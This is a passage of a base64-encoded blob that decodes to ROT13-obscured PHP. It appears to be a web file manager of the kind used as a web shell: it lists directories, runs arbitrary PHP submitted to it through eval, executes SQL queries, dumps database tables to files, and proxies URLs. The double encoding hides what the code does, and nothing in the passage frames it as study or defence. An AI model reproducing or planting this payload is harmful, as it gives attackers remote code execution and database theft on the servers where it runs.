GZ2bXIvKDEwMjQqMTAyNCoxMDI0KjEwMjQpLDIpLicmYW9mYztHbyc7IC8vOikpKQ0KCQlyeWZyIGVyZ2hlYSBlYmhhcSgkZnZtci8oMTAyNCoxMDI0KjEwMjQqMTAyNCoxMDI0KSwyKS4nJmFvZmM7Q28nOyAvLyA7LSkNCgl9IHJ5ZnIgew0KCQl2cyh2Zl9zdnlyKCRzKSkgZXJnaGVhIHN2eXJmdm1yKCRzKTsNCgkJJGZ2bXI9MDsNCgkJJHF1PWJjcmFxdmUoJHMpOw0KCQlqdXZ5cigoJHN2eXI9ZXJucXF2ZSgkcXUpKSE9PXNueWZyKSB7DQoJCQl2cygkc3Z5cj09Jy4nIHx8ICRzdnlyPT0nLi4nKSBwYmFndmFocjsNCgkJCXZzKHZmX3N2eXIoJHMuJy8nLiRzdnlyKSkgJGZ2bXIrPXN2eXJmdm1yKCRzLicvJy4kc3Z5cik7DQoJCQlyeWZyICRmdm1yKz1zel9xdmVfZnZtcigkcy4nLycuJHN2eXIsc255ZnIpOw0KCQl9DQoJCXB5YmZycXZlKCRxdSk7DQoJCWVyZ2hlYSAkZnZtcitzdnlyZnZtcigkcyk7IA0KCX0NCn0NCg0KLy9mcG5hIHF2ZXJwZ2JlbA0Kc2hhcGd2YmEgc3pfZnBuYV9xdmUoJHF2ZXJwZ2JlbCwgJHJrYyA9ICcnLCAkZ2xjciA9ICdueXknLCAkcWJfYWJnX3N2eWdyZSA9IHNueWZyKSB7DQoJJHF2ZSA9ICRhcXZlID0gbmVlbmwoKTsNCgl2cyghcnpjZ2woJHJrYykpew0KCQkkcmtjID0gJy9eJyAuIGZnZV9lcmN5bnByKCcqJywgJyguKiknLCBmZ2VfZXJjeW5wcignLicsICdcXC4nLCAkcmtjKSkgLiAnJC8nOw0KCX0NCgl2cyghcnpjZ2woJGdsY3IpICYmICRnbGNyICE9PSAnbnl5Jyl7DQoJCSRzaGFwID0gJ3ZmXycgLiAkZ2xjcjsNCgl9DQoJdnMoQHZmX3F2ZSgkcXZlcnBnYmVsKSl7DQoJCSRzdSA9IGJjcmFxdmUoJHF2ZXJwZ2JlbCk7DQoJCWp1dnlyIChzbnlmciAhPT0gKCRzdnlyYW56ciA9IGVybnFxdmUoJHN1KSkpIHsNCgkJCXZzKGZob2ZnZSgkc3Z5cmFuenIsIDAsIDEpICE9ICcuJyB8fCAkcWJfYWJnX3N2eWdyZSkgew0KCQkJCXZzKChyemNnbCgkZ2xjcikgfHwgJGdsY3IgPT0gJ255eScgfHwgJHNoYXAoJHF2ZXJwZ2JlbCAuICcvJyAuICRzdnlyYW56cikpICYmIChyemNnbCgkcmtjKSB8fCBjZXJ0X3puZ3B1KCRya2MsICRzdnlyYW56cikpKXsNCgkJCQkJJHF2ZVtdID0gJHN2eXJhbnpyOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQlweWJmcnF2ZSgkc3UpOw0KCQlhbmdmYmVnKCRxdmUpOw0KCX0NCgllcmdoZWEgJHF2ZTsNCn0NCg0Kc2hhcGd2YmEgc3pfeXZheCgkdHJnLCR5dmF4LCRhbnpyLCRndmd5cj0nJykgew0KCXZzIChyemNnbCgkZ3ZneXIpKSAkZ3ZneXI9JGFuenIuJyAnLm9uZnJhbnpyKCR5dmF4KTsNCgllcmdoZWEgJyZhb2ZjOyZhb2ZjOzxuIHVlcnM9Ij8nLiR0cmcuJz0nLm9uZnI2NF9yYXBicXIoJHl2YXgpLiciIGd2Z3lyPSInLiRndmd5ci4nIj4nLiRhbnpyLic8L24+JzsNCn0NCg0Kc2hhcGd2YmEgc3pfbmVlX2diX2JjZ3ZiYSgkbmVlLCRhLCRmcnk9Jycpew0KCXNiZXJucHUoJG5lZSBuZiAkaSl7DQoJCSRvPSRpWyRhXTsNCgkJJGVyZi49JzxiY2d2YmEgaW55aHI9IicuJG8uJyIgJy4oJGZyeSAmJiAkZnJ5PT0kbz8nZnJ5cnBncnEnOicnKS4nPicuJG8uJzwvYmNndmJhPic7DQoJfQ0KCWVyZ2hlYSAkZXJmOw0KfQ0KDQpzaGFwZ3ZiYSBzel95bmF0X3NiZXogKCRwaGVlcmFnPSdyYScpew0KZXJnaGVhICcNCjxzYmV6IGFuenI9InB1bmF0cl95bmF0IiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iIj4NCgk8ZnJ5cnBnIGFuenI9InN6X3luYXQiIGd2Z3lyPSInLl9fKCdZbmF0aG50cicpLiciIGJhcHVuYXRyPSJxYnBoenJhZy5zYmV6ZltcJ3B1bmF0cl95bmF0XCddLmZob3p2ZygpIiA+DQoJCTxiY2d2YmEgaW55aHI9InJhIiAnLigkcGhlZXJhZz09J3JhJz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ1JhdHl2ZnUnKS4nPC9iY2d2YmE+DQoJCTxiY2d2YmEgaW55aHI9InFyIiAnLigkcGhlZXJhZz09J3FyJz8nZnJ5cnBncnE9ImZyeXJwZ3JxIiAnOicnKS4nPicuX18oJ1RyZXpuYScpLic8L2JjZ3ZiYT4NCgkJPGJjZ3ZiYSBpbnlocj0iZWgiICcuKCRwaGVlcmFnPT0nZWgnPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnRWhmZnZuYScpLic8L2JjZ3ZiYT4NCgkJPGJjZ3ZiYSBpbnlocj0ic2UiICcuKCRwaGVlcmFnPT0nc2UnPydmcnlycGdycT0iZnJ5cnBncnEiICc6JycpLic+Jy5fXygnU2VyYXB1JykuJzwvYmNndmJhPg0KCQk8YmNndmJhIGlueWhyPSJoeCIgJy4oJHBoZWVyYWc9PSdoeCc/J2ZyeXJwZ3JxPSJmcnlycGdycSIgJzonJykuJz4nLl9fKCdIeGVudmF2bmEnKS4nPC9iY2d2YmE+DQoJPC9mcnlycGc+DQo8L3NiZXo+DQonOw0KfQ0KCQ0Kc2hhcGd2YmEgc3pfZWJiZygkcXZlYW56cil7DQoJZXJnaGVhICgkcXZlYW56cj09Jy4nIEJFICRxdmVhbnpyPT0nLi4nKTsNCn0NCg0Kc2hhcGd2YmEgc3pfY3VjKCRmZ2V2YXQpew0KCSRxdmZjeW5sX3JlZWJlZj12YXZfdHJnKCdxdmZjeW5sX3JlZWJlZicpOw0KCXZhdl9mcmcoJ3F2ZmN5bmxfcmVlYmVmJywgJzEnKTsNCglib19mZ25lZygpOw0KCXJpbnkoZ2V2eigkZmdldmF0KSk7DQoJJGdya2cgPSBib190cmdfcGJhZ3JhZ2YoKTsNCglib19yYXFfcHlybmEoKTsNCgl2YXZfZnJnKCdxdmZjeW5sX3JlZWJlZicsICRxdmZjeW5sX3JlZWJlZik7DQoJZXJnaGVhICRncmtnOw0KfQ0KDQovL0ZVQkogUU5HTk9ORlJGDQpzaGFwZ3ZiYSBzel9mZHlfcGJhYXJwZygpew0KCXR5Ym9ueSAkc3pfcGJhc3Z0Ow0KCWVyZ2hlYSBhcmogemxmZHl2KCRzel9wYmFzdnRbJ2ZkeV9mcmVpcmUnXSwgJHN6X3BiYXN2dFsnZmR5X2hmcmVhbnpyJ10sICRzel9wYmFzdnRbJ2ZkeV9jbmZmamJlcSddLCAkc3pfcGJhc3Z0WydmZHlfcW8nXSk7DQp9DQoNCnNoYXBndmJhIHN6X2ZkeSgkZGhyZWwpew0KCXR5Ym9ueSAkc3pfcGJhc3Z0Ow0KCSRkaHJlbD1nZXZ6KCRkaHJlbCk7DQoJYm9fZmduZWcoKTsNCgkkcGJhYXJwZ3ZiYSA9IHN6X2ZkeV9wYmFhcnBnKCk7DQoJdnMgKCRwYmFhcnBndmJhLT5wYmFhcnBnX3JlZWJlKSB7DQoJCWJvX3JhcV9weXJuYSgpOwkNCgkJZXJnaGVhICRwYmFhcnBndmJhLT5wYmFhcnBnX3JlZWJlOw0KCX0NCgkkcGJhYXJwZ3ZiYS0+ZnJnX3B1bmVmcmcoJ2hnczgnKTsNCiAgICAkZGhyZXZycSA9IHpsZmR5dl9kaHJlbCgkcGJhYXJwZ3ZiYSwkZGhyZWwpOw0KCXZzICgkZGhyZXZycT09PXNueWZyKSB7DQoJCWJvX3JhcV9weXJuYSgpOwkNCgkJZXJnaGVhIHpsZmR5dl9yZWViZSgkcGJhYXJwZ3ZiYSk7DQogICAgfSByeWZyIHsNCgkJdnMoIXJ6Y2dsKCRkaHJldnJxKSl7DQoJCQlqdXZ5cigkZWJqID0gemxmZHl2X3NyZ3B1X25mZmJwKCRkaHJldnJxKSkgew0KCQkJCSRkaHJlbF9lcmZoeWdbXT0gICRlYmo7DQoJCQl9DQoJCX0NCgkJJGlxaHpjPXJ6Y2dsKCRkaHJlbF9lcmZoeWcpPycnOmluZV9ya2NiZWcoJGRocmVsX2VyZmh5ZyxnZWhyKTsJDQoJCWJvX3JhcV9weXJuYSgpOwkNCgkJJHBiYWFycGd2YmEtPnB5YmZyKCk7DQoJCWVyZ2hlYSAnPGNlcj4nLmZnZXZjZnluZnVyZigkaXFoemMpLic8L2Nlcj4nOw0KCX0NCn0NCg0Kc2hhcGd2YmEgc3pfb25weGhjX2dub3lyZigkZ25veXJmID0gJyonLCAkc2h5eV9vbnB4aGMgPSBnZWhyKSB7DQoJdHlib255ICRjbmd1Ow0KCSR6bGZkeXFvID0gc3pfZmR5X3BiYWFycGcoKTsNCgkkcXJ5dnp2Z3JlID0gIjsgXGEgIFxhIjsNCgl2cygkZ25veXJmID09ICcqJykJew0KCQkkZ25veXJmID0gbmVlbmwoKTsNCgkJJGVyZmh5ZyA9ICR6bGZkeXFvLT5kaHJlbCgnRlVCSiBHTk9ZUkYnKTsNCgkJanV2eXIoJGViaiA9IHpsZmR5dl9zcmdwdV9lYmooJGVyZmh5ZykpCXsNCgkJCSRnbm95cmZbXSA9ICRlYmpbMF07DQoJCX0NCgl9IHJ5ZnIgew0KCQkkZ25veXJmID0gdmZfbmVlbmwoJGdub3lyZikgPyAkZ25veXJmIDogcmtjeWJxcignLCcsJGdub3lyZik7DQoJfQ0KICAgIA0KCSRlcmdoZWE9Jyc7DQoJc2Jlcm5wdSgkZ25veXJmIG5mICRnbm95cikJew0KCQkkZXJmaHlnID0gJHpsZmR5cW8tPmRocmVsKCdGUllSUEcgKiBTRUJaICcuJGdub3lyKTsNCgkJJGFoel9zdnJ5cWYgPSB6bGZkeXZfYWh6X3N2cnlxZigkZXJmaHlnKTsNCgkJJGVyZ2hlYS49ICdRRUJDIEdOT1lSIFZTIFJLVkZHRiBgJy4kZ25veXIuJ2AnLiRxcnl2enZncmU7DQoJCSRlYmoyID0gemxmZHl2X3NyZ3B1X2ViaigkemxmZHlxby0+ZGhyZWwoJ0ZVQkogUEVSTkdSIEdOT1lSICcuJGdub3lyKSk7DQoJCSRlcmdoZWEuPSRlYmoyWzFdLiRxcnl2enZncmU7DQogICAgICAgIHZzICgkc2h5eV9vbnB4aGMpIHsNCgkJc2JlICgkdiA9IDA7ICR2IDwgJGFoel9zdnJ5cWY7ICR2KyspICB7DQoJCQlqdXZ5cigkZWJqID0gemxmZHl2X3NyZ3B1X2ViaigkZXJmaHlnKSkgew0KCQkJCSRlcmdoZWEuPSAnVkFGUkVHIFZBR0IgYCcuJGdub3lyLidgIElOWUhSRignOw0KCQkJCXNiZSgkdz0wOyAkdzwkYWh6X3N2cnlxZjsgJHcrKykJew0KCQkJCQkkZWJqWyR3XSA9IG5xcWZ5bmZ1cmYoJGVialskd10pOw0KCQkJCQkkZWJqWyR3XSA9IGZnZV9lcmN5bnByKCJcYSIsIlxcYSIsJGVialskd10pOw0KCQkJCQl2cyAodmZmcmcoJGVialskd10pKSB7ICRlcmdoZWEuPSAnIicuJGVialskd10uJyInIDsgfSByeWZyIHsgJGVyZ2hlYS49ICciIic7IH0NCgkJCQkJdnMgKCR3PCgkYWh6X3N2cnlxZi0xKSkgeyAkZXJnaGVhLj0gJywnOyB9DQoJCQkJfQ0KCQkJCSRlcmdoZWEuPSAnKScuJHFyeXZ6dmdyZTsNCgkJCX0NCgkJICB9DQoJCX0gcnlmciB7IA0KCQkkZXJnaGVhID0gY2VydF9lcmN5bnByKCIjTkhHQl9WQVBFUlpSQUc9W1xxXSsgI3ZmIiwgJycsICRlcmdoZWEpOw0KCQl9DQoJCSRlcmdoZWEuPSJcYVxhXGEiOw0KCX0NCg0KCS8vZm5pciBzdnlyDQogICAgJHN2eXI9dHpxbmdyKCJMLXotcV9VLXYtZiIsZ3Z6cigpKS4nLmZkeSc7DQoJJHVuYXF5ciA9IHNiY3JhKCRzdnlyLCdqKycpOw0KCXNqZXZncigkdW5hcXlyLCRlcmdoZWEpOw0KCXNweWJmcigkdW5hcXlyKTsNCgkkbnlyZWcgPSAnYmFQeXZweD0idnMocGJhc3ZleihcJycuIF9fKCdTdnlyIGZyeXJwZ3JxJykuJzogXGEnLiAkc3Z5ci4gJy4gXGEnLl9fKCdOZXIgbGJoIGZoZXIgbGJoIGpuYWcgZ2IgcXJ5cmdyIGd1dmYgc3Z5cj8nKSAuICdcJykpIHFicGh6cmFnLnlicG5ndmJhLnVlcnMgPSBcJz9xcnlyZ3I9JyAuICRzdnlyIC4gJyZjbmd1PScgLiAkY25ndSAgLiAnXCciJzsNCiAgICBlcmdoZWEgJHN2eXIuJzogJy5zel95dmF4KCdxYmpheWJucScsJGNuZ3UuJHN2eXIsX18oJ1FiamF5Ym5xJyksX18oJ1FiamF5Ym5xJykuJyAnLiRzdnlyKS4nIDxuIHVlcnM9IiMiIGd2Z3lyPSInIC4gX18oJ1FyeXJncicpIC4gJyAnLiAkc3Z5ciAuICciICcgLiAkbnlyZWcgLiAnPicgLiBfXygnUXJ5cmdyJykgLiAnPC9uPic7DQp9DQoNCnNoYXBndmJhIHN6X2VyZmdiZXJfZ25veXJmKCRmZHlTdnlyR2JSa3JwaGdyKSB7DQoJJHpsZmR5cW8gPSBzel9mZHlfcGJhYXJwZygpOw0KCSRxcnl2enZncmUgPSAiOyBcYSAgXGEiOw0KICAgIC8vIFlibnEgbmFxIHJrY3licXIgZ3VyIGZkeSBzdnlyDQogICAgJHMgPSBzYmNyYSgkZmR5U3Z5ckdiUmtycGhnciwiZSsiKTsNCiAgICAkZmR5U3Z5ciA9IHNlcm5xKCRzLHN2eXJmdm1yKCRmZHlTdnlyR2JSa3JwaGdyKSk7DQogICAgJGZkeU5lZW5sID0gcmtjeWJxcigkcXJ5dnp2Z3JlLCRmZHlTdnlyKTsNCgkNCiAgICAvL0NlYnByZmYgZ3VyIGZkeSBzdnlyIG9sIGZnbmdyenJhZ2YNCiAgICBzYmVybnB1ICgkZmR5TmVlbmwgbmYgJGZnemcpIHsNCiAgICAgICAgdnMgKGZnZXlyYSgkZmd6Zyk+Myl7DQoJCQkkZXJmaHlnID0gJHpsZmR5cW8tPmRocmVsKCRmZ3pnKTsNCgkJCQl2cyAoISRlcmZoeWcpew0KCQkJCQkkZmR5UmVlYmVQYnFyID0gemxmZHl2X3JlZWFiKCR6bGZkeXFvLT5wYmFhcnBndmJhKTsNCgkJCQkJJGZkeVJlZWJlR3JrZyA9IHpsZmR5dl9yZWViZSgkemxmZHlxby0+cGJhYXJwZ3ZiYSk7DQoJCQkJCSRmZHlGZ3pnICAgICAgPSAkZmd6ZzsNCgkJCQkJb2Vybng7DQogICAgICAgICAgIAkgICAgIH0NCiAgICAgICAgICAgCSAgfQ0KICAgICAgICAgICB9DQp2cyAocnpjZ2woJGZkeVJlZWJlUGJxcikpIGVyZ2hlYSBfXygnRmhwcHJmZicpLicg4oCUICcuJGZkeVN2eXJHYlJrcnBoZ3I7DQpyeWZyIGVyZ2hlYSAkZmR5UmVlYmVHcmtnLic8b2UvPicuJGZnemc7DQp9DQoNCnNoYXBndmJhIHN6X3Z6dF95dmF4KCRzdnlyYW56cil7DQoJZXJnaGVhICcuLycub25mcmFuenIoX19TVllSX18pLic/dnp0PScub25mcjY0X3JhcGJxcigkc3Z5cmFuenIpOw0KfQ0KDQpzaGFwZ3ZiYSBzel91YnpyX2ZnbHlyKCl7DQoJZXJnaGVhICcNCnZhY2hnLCB2YWNoZy5zel92YWNoZyB7DQoJZ3JrZy12YXFyYWc6IDJjazsNCn0NCg0KdmFjaGcsIGdya2duZXJuLCBmcnlycGcsIHZhY2hnLnN6X3ZhY2hnIHsNCglwYnliZTogb3lucHg7DQoJc2JhZzogYWJlem55IDhjZyBJcmVxbmFuLCBOZXZueSwgVXJ5aXJndnBuLCBmbmFmLWZyZXZzOw0KCW9iZXFyZS1wYnliZTogb3lucHg7DQoJb25weHRlYmhhcS1wYnliZTogI1NQU1BTUCBhYmFyICF2emNiZWduYWc7DQoJb2JlcXJlLWVucXZoZjogMDsNCgljbnFxdmF0OiAyY2s7DQp9DQoNCnZhY2hnLnN6X3ZhY2hnIHsNCglvbnB4dGViaGFxOiAjU1BTUFNQIGFiYXIgIXZ6Y2JlZ25hZzsNCglwaGVmYmU6IGNidmFncmU7DQp9DQoNCi51YnpyIHsNCglvbnB4dGViaGFxLXZ6bnRyOiBoZXkoInFuZ246dnpudHIvY2F0O29uZnI2NCx2SU9CRWowWFR0Yk5OTk5BRkh1Ukh0Tk5OT05OTk5ORFBOWk5OTk5iWUQ5R05OTk5PVHFPR0hSTk5YL1ZBakpYNkROTk50RURHU0VTL3MzOTZCd2IvLy8vZ0cwMm1lK3NqNjZFZ3c0MzJHUmMzWktSMlFOZTNHTGMxbDR6Z1FqMi83T1ovN09CZEljcC84eTMxd3BkZDZyYWpwVU8yR3R2NXd0ZEljb1NpZW4yYU9OSS9DbTgyRjB3YWswSjNHSHhkRnR2NHJVdTRHZmVyNGpiZm0wMjZoQ3dtVExxNkhmM2xhTmxxSE9ONVh5M3N6NXJkTW5KN0JRdHYySXQrQ3c0aEwrUmpZejVvTDlILy83d3NZZ1ArZ0JYM3dwei83MWgyd0xiMUhMdTVuV3kvZnJQM3dSejEyeHpXZVZOMXdaei85bkg0WXUwcjAxT3lWblIvLy9xdVpxUDdWTi8vc0dNMnAzWko2YUEzMGpzOTVJcTRXcUtiS0liZjhhUjRyc0EvKzYzVld0RmFMdXk3UzRwZktnODlUREhqWSsvd3kxcDQxTmQrc28ydHpnVjFlWG4yUDR4V25WTjN3TGV5R2o1Z3c0MjN3TGEzcEtSMW1EYmtaVU9jMXlNM1F0emR2eGYvK3pwd1lYODN3THhselpJM0dMeC8vVVoraDdKdXpnZTBicUdjbkJ3c0pXc2VVY3QvOE9mLzdnSi83SXIrNEg1MlFaejNaWU9hNGRZdEFJWjZabU8zeVJzeVZoWS8rd04vLy8yMFlCbXdLazgvN3lvSmNXVDJQOHgzR2JmV1haTjFsandiY0JFMW1MYzVRZmN2bmwrbFhBdWRYRng4QUo2L3N3YWY3Qm0yZ2FNaG04ODdvK0ozbkVMLyt6ZjRlUFIzR2JnN0k4NW9Ya3doUk4zajQ1SXU1aHVkNm56NHBTa3RNTUovOWRWaGp0WGwwZkoraHdHNEdEYWdtNDIzUDh2M21Idy8rWGovbjVxNkhaa2hZNmptUVJlLy8vL3BkV0RzTk5OTlhrMEh4NUcvLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy9OTkpJU29STk5OTk1xUklMcVNBaU1hRTNMS1d5TlJTeG8yV3lWUnlnTEpxeUh6SXVNVXlrbEpIOE5OTk4ySHlSRElEYkgyQUx3RExMZk52UjhIOUxtUUx3SWNUTUVrWnZSUHZnWmVJTWliWmVHeUQyUkZFRFcyU0lqdmFMb3pkR0hZYmJ1YVIxdDFuWFRGL3NBWmd4NDBsTTlYSVlEdXRMeGhMN0FrRGlLbFVJU0FhWG1FNjlkY2tPQ1pybTBSR05EbEdIaUZidG5WU25DcEFkSS9aNXF1bjJFeTJHdnpvNk0rRE9RTDFLQS9Gb2g4a1NZVDNyWVFzeTJITk93dnlCMWIwMTJNM3J4MXlNSVZKTk56SEdYNlkwZjNjSyt3dzZjaE0yTmpKSGlPRW5jdWZqWnFIaHdQdmpRam41SVJxQ1Y3bGFIeXA3aTFkTEhFWWRoczQydW00NVBPQ1Fnak5QZXorRVFwa1dMTk5OTk5PV0VINVJleFd0dHQ9PSIpOw0KCW9ucHh0ZWJoYXEtZXJjcm5nOiBhYi1lcmNybmc7DQp9JzsNCn0NCg0Kc2hhcGd2YmEgc3pfcGJhc3Z0X3B1cnB4b2JrX2ViaigkYW56ciwkaW55aHIpIHsNCgl0eWJvbnkgJHN6X3BiYXN2dDsNCgllcmdoZWEgJzxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyB2cT0ic3pfcGJhc3Z0XycuJGlueWhyLiciIGFuenI9InN6X3BiYXN2dFsnLiRpbnloci4nXSIgaW55aHI9IjEiICcuKHJ6Y2dsKCRzel9wYmFzdnRbJGlueWhyXSk/Jyc6J3B1cnB4cnE9ImdlaHIiJykuJyBnbGNyPSJwdXJweG9iayI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPjx5bm9yeSBzYmU9InN6X3BiYXN2dF8nLiRpbnloci4nIj4nLiRhbnpyLic8L2dxPjwvZ2U+JzsNCn0NCg0Kc2hhcGd2YmEgc3pfY2ViZ2JwYnkoKSB7DQoJdnMgKHZmZnJnKCRfRlJFSVJFWydVR0dDX0ZQVVJaUiddKSkgZXJnaGVhICRfRlJFSVJFWydVR0dDX0ZQVVJaUiddLic6Ly8nOw0KCXZzICh2ZmZyZygkX0ZSRUlSRVsnVUdHQ0YnXSkgJiYgJF9GUkVJUkVbJ1VHR0NGJ10gPT0gJ2JhJykgZXJnaGVhICd1Z2djZjovLyc7DQoJdnMgKHZmZnJnKCRfRlJFSVJFWydGUkVJUkVfQ0JFRyddKSAmJiAkX0ZSRUlSRVsnRlJFSVJFX0NCRUcnXSA9PSA0NDMpIGVyZ2hlYSAndWdnY2Y6Ly8nOw0KCXZzICh2ZmZyZygkX0ZSRUlSRVsnVUdHQ19LX1NCRUpORVFSUV9DRUJHQiddKSAmJiAkX0ZSRUlSRVsnVUdHQ19LX1NCRUpORVFSUV9DRUJHQiddID09ICd1Z2djZicpIGVyZ2hlYSAndWdnY2Y6Ly8nOw0KCWVyZ2hlYSAndWdnYzovLyc7DQp9DQoNCnNoYXBndmJhIHN6X2Z2Z3JfaGV5KCkgew0KCWVyZ2hlYSBzel9jZWJnYnBieSgpLiRfRlJFSVJFWydVR0dDX1VCRkcnXTsNCn0NCg0Kc2hhcGd2YmEgc3pfaGV5KCRzaHl5PXNueWZyKSB7DQoJJHViZmc9JHNoeXk/c3pfZnZncl9oZXkoKTonLic7DQoJZXJnaGVhICR1YmZnLicvJy5vbmZyYW56cihfX1NWWVJfXyk7DQp9DQoNCnNoYXBndmJhIHN6X3VienIoJHNoeXk9c255ZnIpew0KCWVyZ2hlYSAnJmFvZmM7PG4gdWVycz0iJy5zel9oZXkoJHNoeXkpLiciIGd2Z3lyPSInLl9fKCdVYnpyJykuJyI+PGZjbmEgcHluZmY9InVienIiPiZhb2ZjOyZhb2ZjOyZhb2ZjOyZhb2ZjOzwvZmNuYT48L24+JzsNCn0NCg0Kc2hhcGd2YmEgc3pfZWhhX3ZhY2hnKCR5YXQpIHsNCgl0eWJvbnkgJHN6X3BiYXN2dDsNCgkkZXJnaGVhID0gIXJ6Y2dsKCRzel9wYmFzdnRbJ3Jhbm95cl8nLiR5YXQuJ19wYmFmYnlyJ10pID8gDQoJJw0KCQkJCTxzYmV6ICB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iJy5zel9oZXkoKS4nIiBmZ2x5cj0icXZmY3lubDp2YXl2YXIiPg0KCQkJCTx2YWNoZyBnbGNyPSJmaG96dmciIGFuenI9IicuJHlhdC4nZWhhIiBpbnlocj0iJy5mZ2VnYmhjY3JlKCR5YXQpLicgJy5fXygnUGJhZmJ5cicpLiciPg0KCQkJCTwvc2Jlej4NCicgOiAnJzsNCgllcmdoZWEgJGVyZ2hlYTsNCn0NCg0Kc2hhcGd2YmEgc3pfaGV5X2NlYmtsKCR6bmdwdXJmKSB7DQoJJHl2YXggPSBmZ2VfZXJjeW5wcignJm56YzsnLCcmJywkem5ncHVyZlsyXSk7DQoJJGhleSA9IHZmZnJnKCRfVFJHWydoZXknXSk/JF9UUkdbJ2hleSddOicnOw0KCSRjbmVmcl9oZXkgPSBjbmVmcl9oZXkoJGhleSk7DQoJJHViZmcgPSAkY25lZnJfaGV5WydmcHVyenInXS4nOi8vJy4kY25lZnJfaGV5Wyd1YmZnJ10uJy8nOw0KCXZzIChmaG9mZ2UoJHl2YXgsMCwyKT09Jy8vJykgew0KCQkkeXZheCA9IGZob2ZnZV9lcmN5bnByKCR5dmF4LHN6X2NlYmdicGJ5KCksMCwyKTsNCgl9IHJ5ZnJ2cyAoZmhvZmdlKCR5dmF4LDAsMSk9PScvJykgew0KCQkkeXZheCA9IGZob2ZnZV9lcmN5bnByKCR5dmF4LCR1YmZnLDAsMSk7CQ0KCX0gcnlmcnZzIChmaG9mZ2UoJHl2YXgsMCwyKT09Jy4vJykgew0KCQkkeXZheCA9IGZob2ZnZV9lcmN5bnByKCR5dmF4LCR1YmZnLDAsMik7CQ0KCX0gcnlmcnZzIChmaG9mZ2UoJHl2YXgsMCw0KT09J3VnZ2MnKSB7DQoJCS8vbnl5cmYgem5wdXJhIGpoYXFyZWZwdWJhDQoJfSByeWZyIHsNCgkJJHl2YXggPSAkdWJmZy4keXZheDsNCgl9IA0KCXZzICgkem5ncHVyZlsxXT09J3VlcnMnICYmICFmZ2VldmNiZigkeXZheCwgJ3BmZicpKSB7DQoJCSRvbmZyID0gc3pfZnZncl9oZXkoKS4nLycub25mcmFuenIoX19TVllSX18pOw0KCQkkb25mcmQgPSAkb25mci4nP2NlYmtsPWdlaHImaGV5PSc7DQoJCSR5dmF4ID0gJG9uZnJkLmhleXJhcGJxcigkeXZheCk7DQoJfSByeWZydnMgKGZnZWV2Y2JmKCR5dmF4LCAncGZmJykpew0KCQkvL9C60LDQui3RgtC+INGC0L7QttC1INC/0L7QtNC80LXQvdGP0YLRjCDQvdCw0LTQvg0KCX0NCgllcmdoZWEgJHpuZ3B1cmZbMV0uJz0iJy4keXZheC4nIic7DQp9DQogDQpzaGFwZ3ZiYSBzel9nY3lfc2JleigkeWF0X2djeSkgew0KCXR5Ym9ueSAkeyR5YXRfZ2N5LidfZ3J6Y3luZ3JmJ307DQoJJGdjeV9uZWUgPSB3ZmJhX3FycGJxcigkeyR5YXRfZ2N5LidfZ3J6Y3luZ3JmJ30sZ2Vocik7DQoJJGZnZSA9ICcnOw0KCXNiZXJucHUgKCRnY3lfbmVlIG5mICR4Z2N5PT4kaWdjeSkgew0KCQkkZmdlIC49ICc8Z2U+PGdxIHB5bmZmPSJlYmoxIj48dmFjaGcgYW56cj0iJy4keWF0X2djeS4nX2FuenJbXSIgaW55aHI9IicuJHhnY3kuJyI+PC9ncT48Z3EgcHluZmY9ImViajIganVieXIiPjxncmtnbmVybiBhbnpyPSInLiR5YXRfZ2N5LidfaW55aHJbXSIgIHBieWY9IjU1IiBlYmpmPSI1IiBweW5mZj0iZ3JrZ25lcm5fdmFjaGciPicuJGlnY3kuJzwvZ3JrZ25lcm4+IDx2YWNoZyBhbnpyPSJxcnlfJy5lbmFxKCkuJyIgZ2xjcj0ib2hnZ2JhIiBiYVB5dnB4PSJndXZmLmNuZXJhZ0FicXIuY25lcmFnQWJxci5lcnpiaXIoKTsiIGlueWhyPSInLl9fKCdRcnlyZ3InKS4nIi8+PC9ncT48L2dlPic7DQoJfQ0KZXJnaGVhICcNCjxnbm95cj4NCjxnZT48Z3UgcGJ5ZmNuYT0iMiI+Jy5mZ2VnYmhjY3JlKCR5YXRfZ2N5KS4nICcuX18oJ2dyemN5bmdyZicpLicgJy5zel9laGFfdmFjaGcoJHlhdF9nY3kpLic8L2d1PjwvZ2U+DQo8c2JleiB6cmd1YnE9ImNiZmciIG5wZ3ZiYT0iIj4NCjx2YWNoZyBnbGNyPSJ1dnFxcmEiIGlueWhyPSInLiR5YXRfZ2N5LiciIGFuenI9ImdjeV9ycXZncnEiPg0KPGdlPjxncSBweW5mZj0iZWJqMSI+Jy5fXygnQW56cicpLic8L2dxPjxncSBweW5mZj0iZWJqMiBqdWJ5ciI+Jy5fXygnSW55aHInKS4nPC9ncT48L2dlPg0KJy4kZmdlLicNCjxnZT48Z3EgcGJ5ZmNuYT0iMiIgcHluZmY9ImViajMiPjx2YWNoZyBhbnpyPSJlcmYiIGdsY3I9Im9oZ2diYSIgYmFQeXZweD0icWJwaHpyYWcueWJwbmd2YmEudWVycyA9IFwnJy5zel9oZXkoKS4nP3N6X2ZyZ2d2YXRmPWdlaHJcJzsiIGlueWhyPSInLl9fKCdFcmZyZycpLiciLz4gPHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9IicuX18oJ0ZuaXInKS4nIiA+PC9ncT48L2dlPg0KPC9zYmV6Pg0KPHNiZXogenJndWJxPSJjYmZnIiBucGd2YmE9IiI+DQo8dmFjaGcgZ2xjcj0idXZxcXJhIiBpbnlocj0iJy4keWF0X2djeS4nIiBhbnpyPSJnY3lfcnF2Z3JxIj4NCjxnZT48Z3EgcHluZmY9ImViajEiPjx2YWNoZyBhbnpyPSInLiR5YXRfZ2N5LidfYXJqX2F